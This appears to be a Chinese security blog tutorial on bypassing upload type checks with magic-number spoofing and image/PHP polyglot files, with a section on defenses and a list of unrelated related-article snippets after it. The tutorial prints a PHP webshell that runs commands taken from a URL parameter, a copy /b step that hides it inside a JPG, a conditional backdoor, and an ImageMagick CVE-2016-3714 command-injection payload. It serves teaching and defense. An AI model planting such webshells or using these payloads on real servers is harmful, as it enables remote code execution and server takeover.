当前位置: 首页 > article >正文

【文件上传绕过】十六—十八:巧用文件幻数与内容伪装突破类型校验

1. 文件幻数藏在二进制里的身份证每次上传图片时你有没有好奇过系统是怎么判断这张图真的是JPG的这就像超市扫码器识别商品条形码一样计算机其实是通过读取文件开头的几个特殊字节——我们称之为**幻数Magic Number**来快速判断文件类型的。以最常见的图片格式为例JPEG文件总是以FF D8 FF开头PNG文件的开头是89 50 4E 47GIF文件则用47 49 46 38作为开场白这些十六进制代码就像是文件的身份证号码系统通过快速扫描文件头部的这些特征值就能在毫秒级完成类型校验。但问题在于很多开发者只做了这个最基础的检查就认为安全了。我曾经测试过某电商平台的上传接口发现他们仅仅用PHP的exif_imagetype()函数做了校验。于是我做了个实验用十六进制编辑器在正常的PHP脚本开头插入FF D8 FF结果系统真的把它当作图片接受了这就是典型的幻数欺骗攻击。2. 制作披着羊皮的狼图片木马实战2.1 手工打造混合文件最经典的攻击方式就是创建图片PHP的混合文件。具体操作如下准备一张正常图片比如test.jpg编写恶意PHP代码如?php system($_GET[cmd]);?使用命令行合并copy /b test.jpg shell.php backdoor.jpg生成的backdoor.jpg在图片查看器中显示正常但当服务器用include包含这个文件时PHP解释器会跳过前面的图片数据直接执行后面的PHP代码。2.2 高级伪装技巧更隐蔽的做法是利用文件结构特性对于PNG文件可以在IEND结束标记后追加代码对于GIF可以在GIF89a头部之后插入注释块/* */包裹的PHP代码对于JPEG可以利用APPn标记段插入可执行代码这里有个实际案例某CMS系统的头像上传功能允许GIF图片但未校验文件尾部。攻击者在GIF结束符3B之后添加了PHP代码当管理员在后台查看用户列表时由于调用了imagecreatefromgif()处理头像导致代码执行。3. 突破内容校验的六种武器3.1 二次渲染绕过当系统对上传图片进行压缩或缩略图生成时可以尝试制作特殊构造的PNG文件确保经过GD库处理后仍保留恶意代码利用ImageMagick的漏洞如CVE-2016-3714通过精心构造的图片触发命令执行// 示例利用ImageMagick漏洞的恶意PNG push graphic-context viewbox 0 0 640 480 fill url(https://example.com/image.jpg|ls -la) pop graphic-context3.2 条件触发技术通过判断运行环境来动态选择行为?php if(isset($_GET[debug])) { system($_GET[cmd]); } else { // 正常图片内容 echo file_get_contents(real_image.jpg); } ?这种文件在前端显示为图片但通过特定参数触发后门功能。4. 防御者的必修课4.1 深度校验方案真正的安全方案应该包含文件头校验幻数检查文件内容结构验证如通过GD库尝试读取图片文件重命名禁止用户控制扩展名存储隔离上传目录禁用脚本执行权限PHP示例代码function isRealImage($file) { $info getimagesize($file); if(!$info) return false; // 二次验证 switch($info[2]) { case IMAGETYPE_JPEG: return imagecreatefromjpeg($file) ! false; case IMAGETYPE_PNG: return imagecreatefrompng($file) ! false; default: return false; } }4.2 运维层防护除了代码层面的防御还应该配置Web服务器禁止上传目录的脚本执行定期更新图像处理库GD/ImageMagick等使用WAF规则拦截可疑的上传内容在Nginx中可以通过以下配置限制上传目录location ^~ /uploads/ { location ~ \.php$ { return 403; } }5. 攻击者的踩坑记录在实际测试中我发现这些常见问题会导致攻击失败Windows系统下BOM头破坏文件结构某些CMS会自动去除文件尾部的垃圾数据云存储服务如AWS S3可能会对文件进行重新编码有个有趣的案例某次我精心构造的GIFPHP文件在测试环境运行良好但在生产环境失效。后来发现是因为生产环境使用了CDN服务CDN的图片优化功能自动移除了文件尾部数据。这提醒我们真实环境的对抗需要考虑更多中间环节的影响。

相关文章:

【文件上传绕过】十六—十八:巧用文件幻数与内容伪装突破类型校验

1. 文件幻数:藏在二进制里的身份证 每次上传图片时,你有没有好奇过系统是怎么判断"这张图真的是JPG"的?这就像超市扫码器识别商品条形码一样,计算机其实是通过读取文件开头的几个特殊字节——我们称之为**幻数&#xff…...

从“鸡尾酒会”到手机通话:用生活场景图解CDMA码分多址到底是怎么“听清”你的

鸡尾酒会里的通信密码:用生活场景拆解CDMA如何从噪音中识别你的声音 1. 当鸡尾酒会遇见通信技术 想象你站在一个嘈杂的鸡尾酒会现场,四周充斥着数十人同时进行的对话。神奇的是,尽管声波在空气中混杂叠加,你的大脑却能自动过滤无关…...

LangGraph大模型脚手架实战:揭秘6种爆款智能体设计模式,玩转生产级Agent开发!

最近Herness大火,我就在反思,我们在日常进行智能体开发的过程中,是否也在做类似的事,我们用过claude code sdk、codex sdk、copilot cli等通用agent做封装,也用过dify或者coze搭工作流,也用过langchain做过…...

跨越平台壁垒:在STM32与MSP430上构建Arduino式开发体验

1. 为什么要在STM32和MSP430上实现Arduino开发体验? 我第一次接触嵌入式开发就是在Arduino平台上,那种插上USB就能烧录、几行代码让LED闪烁的爽快感,让我这个非科班出身的小白瞬间爱上了硬件编程。但后来参加电子设计竞赛时,队友递…...

AAAI‘2026 模型记错了,检索也救不了?KG+TruthfulRAG想解决这个死结

背景介绍 近年来,大语言模型(LLM)在生成与理解任务上表现突出,但其内部“参数化知识”具有静态、滞后的特点: 面对时效性知识、专业知识、隐私知识等,模型可能缺乏覆盖;即便检索增强生成&#…...

工业意识:03 组态软件怎么选?WinCC、FactoryTalk、国产一篇讲透

03 组态软件怎么选?WinCC、FactoryTalk、国产一篇讲透 前面咱们把SCADA聊成“千里眼”,MES聊成“透明玻璃房”,现在终于到最爽的部分——画面组态!简单说,就是用鼠标拖拖拽拽,在电脑上搭出那些监控大屏:仪表盘、按钮、趋势图、报警灯、3D管道……全连上PLC变量,点一下…...

【LeetCode 手撕算法】(二分查找)搜索插入位置、搜索二维矩阵、查找数组相同的所有位置、搜索旋转排序数组、旋转升序数组的最小值

复杂度为O(log n)且有序用二分查找35-搜索插入位置思路&#xff1a;二分查找&#xff0c;左右指针 求中间值注意&#xff1a;while的查询条件是>class Solution {public int searchInsert(int[] nums, int target) {int left0;int rightnums.length-1;while(left<right){…...

STM32F407上电后第一行代码:手把手带你读懂启动文件startup_stm32f407xx.s

STM32F407启动文件深度解析&#xff1a;从复位到main()的底层之旅 当你第一次打开STM32的MDK工程时&#xff0c;那个神秘的.s文件是否曾让你望而却步&#xff1f;作为连接硬件与C语言世界的桥梁&#xff0c;启动文件&#xff08;startup_stm32f407xx.s&#xff09;完成了从芯片…...

设计师连夜删稿的真相:Onion Skin未启用导致版本错位!3分钟紧急修复+历史帧自动锚定脚本

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;设计师连夜删稿的真相&#xff1a;Onion Skin未启用导致版本错位&#xff01;3分钟紧急修复历史帧自动锚定脚本 当动画师在 Toon Boom Harmony 或 Adobe Animate 中反复导出“看似正确”的中间帧&#…...

SteamAutoCrack技术深度解析:架构设计与实现原理揭秘

SteamAutoCrack技术深度解析&#xff1a;架构设计与实现原理揭秘 【免费下载链接】Steam-auto-crack Steam Game Automatic Cracker 项目地址: https://gitcode.com/gh_mirrors/st/Steam-auto-crack SteamAutoCrack是一款基于.NET 10.0框架开发的Steam游戏自动破解工具&…...

自感痕迹论的思想史意义:一场发生学范式的四维跃迁

自感痕迹论的思想史意义&#xff1a;一场发生学范式的四维跃迁摘要在当代思想版图中&#xff0c;人文精神与科学技术正处于前所未有的割裂状态。一方面&#xff0c;现象学、后结构主义在解构了宏大叙事后&#xff0c;陷入相对主义与操作空转的泥淖&#xff1b;另一方面&#xf…...

ComfyUI-Impact-Pack完整安装指南:为什么你的V8版本功能不全?终极解决方案

ComfyUI-Impact-Pack完整安装指南&#xff1a;为什么你的V8版本功能不全&#xff1f;终极解决方案 【免费下载链接】ComfyUI-Impact-Pack Custom nodes pack for ComfyUI This custom node helps to conveniently enhance images through Detector, Detailer, Upscaler, Pipe, …...

GD32F303硬件I2C实战:手把手教你用AT24C02 EEPROM存储和读取设备配置参数

GD32F303硬件I2C实战&#xff1a;构建工业级参数存储系统 在嵌入式设备开发中&#xff0c;系统参数的持久化存储是个看似简单却暗藏玄机的需求。想象一下&#xff0c;当你的智能温控器经历突然断电后&#xff0c;所有用户设置的日程和偏好全部归零——这种体验足以让产品口碑崩…...

在vSphere ESXi 7.0上跑MacOS Big Sur?这份保姆级避坑指南帮你一次搞定

在vSphere ESXi 7.0上部署macOS Big Sur的深度避坑指南 虚拟化环境中运行macOS一直是技术爱好者和企业开发者的热门需求。本文将深入探讨在vSphere ESXi 7.0平台上安装macOS Big Sur时可能遇到的各种技术难题及其解决方案&#xff0c;帮助您避开那些让大多数用户头疼的"坑…...

Spring Boot项目整合阿里云OSS上传,如何避免Nginx代理下的405坑?

Spring Boot整合阿里云OSS上传的Nginx避坑指南&#xff1a;彻底解决405错误 在前后端分离架构中&#xff0c;文件上传功能几乎是每个Web应用的标配。当我们将Spring Boot与阿里云OSS结合使用时&#xff0c;Nginx作为反向代理常常会带来一个棘手的405 Method Not Allowed错误。这…...

别再只用VGG19做分类了!手把手教你用PyTorch提取4096维图像特征向量(实战教程)

突破分类局限&#xff1a;用PyTorch解锁VGG19的深度特征提取实战 当你第一次接触VGG19时&#xff0c;可能被它的ImageNet分类能力所震撼。但如果你只把它当作一个分类器&#xff0c;那就如同用瑞士军刀只开瓶盖——大材小用。在计算机视觉领域&#xff0c;预训练模型真正的价值…...

PyTorch模型参数管理:从torch.nn.Parameter到高效训练实践

1. 理解torch.nn.Parameter的本质 第一次接触PyTorch的torch.nn.Parameter时&#xff0c;我也曾困惑它和普通Tensor的区别。直到在实际项目中踩了几个坑&#xff0c;才真正明白它的价值。让我们从一个简单的例子开始&#xff1a; import torch import torch.nn as nn# 普通Te…...

MATLAB 2018a/2023b实测:Libsvm安装后如何用自带数据集快速验证与跑通第一个模型

MATLAB 2018a/2023b实战&#xff1a;Libsvm安装后快速验证与模型跑通全流程 当你第一次在MATLAB中成功安装Libsvm后&#xff0c;那种兴奋感可能很快会被"接下来该做什么"的迷茫所取代。别担心&#xff0c;这篇文章将带你用Libsvm自带的heart_scale数据集&#xff0c;…...

NoFences:彻底解决Windows桌面杂乱问题,免费开源桌面整理革命

NoFences&#xff1a;彻底解决Windows桌面杂乱问题&#xff0c;免费开源桌面整理革命 【免费下载链接】NoFences &#x1f6a7; Open Source Stardock Fences alternative 项目地址: https://gitcode.com/gh_mirrors/no/NoFences 你是否厌倦了Windows桌面上满屏的图标&a…...

3步解锁联想刃7000k BIOS隐藏功能:安全提升硬件性能的完整指南

3步解锁联想刃7000k BIOS隐藏功能&#xff1a;安全提升硬件性能的完整指南 【免费下载链接】Lenovo-7000k-Unlock-BIOS Lenovo联想刃7000k2021-3060版解锁BIOS隐藏选项并提升为Admin权限 项目地址: https://gitcode.com/gh_mirrors/le/Lenovo-7000k-Unlock-BIOS 联想刃7…...

3步搭建你的英雄联盟智能助手:LeagueAkari完整操作指南

3步搭建你的英雄联盟智能助手&#xff1a;LeagueAkari完整操作指南 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power &#x1f680;. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit 想象一下&#xff0c;当你正…...

NVIDIA显卡终极调校指南:用Profile Inspector释放游戏潜能的简单方法

NVIDIA显卡终极调校指南&#xff1a;用Profile Inspector释放游戏潜能的简单方法 【免费下载链接】nvidiaProfileInspector 项目地址: https://gitcode.com/gh_mirrors/nv/nvidiaProfileInspector 还在为游戏卡顿、画面撕裂而烦恼吗&#xff1f;NVIDIA Profile Inspect…...

英雄联盟专业视频编辑器:用League Director制作电影级游戏录像的完整指南

英雄联盟专业视频编辑器&#xff1a;用League Director制作电影级游戏录像的完整指南 【免费下载链接】leaguedirector League Director is a tool for staging and recording videos from League of Legends replays 项目地址: https://gitcode.com/gh_mirrors/le/leaguedir…...

视频字幕提取神器:如何让AI帮你自动转录硬字幕?

视频字幕提取神器&#xff1a;如何让AI帮你自动转录硬字幕&#xff1f; 【免费下载链接】video-subtitle-extractor 视频硬字幕提取&#xff0c;生成srt文件。无需申请第三方API&#xff0c;本地实现文本识别。基于深度学习的视频字幕提取框架&#xff0c;包含字幕区域检测、字…...

告别混乱:手把手教你用Python脚本整理ILSVRC2012验证集(附valprep.sh解析)

告别混乱&#xff1a;用Python脚本高效整理ILSVRC2012验证集 当你第一次打开ILSVRC2012验证集文件夹时&#xff0c;50000张图片杂乱堆放的场景可能让人头皮发麻——没有分类子目录&#xff0c;只有一堆以"ILSVRC2012_val_00000001.JPEG"命名的文件。这种原始结构与训…...

从SMP到NUMA:聊聊多核CPU时代Linux内存管理是怎么‘进化’的

从SMP到NUMA&#xff1a;多核CPU时代的内存管理演进之路 2000年代初&#xff0c;当单核CPU的主频竞赛逐渐触及物理极限时&#xff0c;计算机架构师们面临一个关键抉择&#xff1a;如何在芯片上堆叠更多晶体管&#xff1f;答案最终指向了多核设计。但随之而来的内存访问瓶颈&…...

当三维基因组“打结”:从罕见病到癌症,那些被折叠改变的生命密码

当三维基因组“打结”&#xff1a;从罕见病到癌症&#xff0c;那些被折叠改变的生命密码 想象一下&#xff0c;如果把人类基因组比作一条长达两米的毛线&#xff0c;它需要被精巧地折叠进直径仅几微米的细胞核中。这种看似不可能的折叠并非随机——它遵循着严格的拓扑规则&…...

别再只搜WOL教程了!华硕/微星主板BIOS里这两个隐藏选项没开,魔术包收到也白搭

华硕/微星主板WOL终极配置指南&#xff1a;破解BIOS隐藏选项的实战手册 深夜加班后想远程唤醒家里的台式机渲染视频&#xff0c;却发现魔术包石沉大海&#xff1f;你可能已经按照无数教程配置了网卡唤醒选项&#xff0c;却忽略了主板BIOS里那两个致命的隐藏开关。本文将用实验室…...

Vulkan学习笔记

顺序很重要&#xff1a;#define 必须在 #include <GLFW/glfw3.h> 之前出现&#xff0c;否则不起作用。作用&#xff1a;当 GLFW 的头文件看到这个宏被定义后&#xff0c;它就会知道你需要 Vulkan 支持&#xff0c;并自动执行 #include <vulkan/vulkan.h>&#xff0…...

隐写术:把秘密藏在你眼皮底下

你有没有想过&#xff0c;秘密不一定非要“加密”&#xff0c;还可以“藏起来”&#xff1f;这就是隐写术的思想——让别人根本不知道这里藏了信息。早在公元前5世纪&#xff0c;一位希腊人为了把情报传回祖国&#xff0c;把文字写在刮去蜡的木板上&#xff0c;再用新蜡覆盖。收…...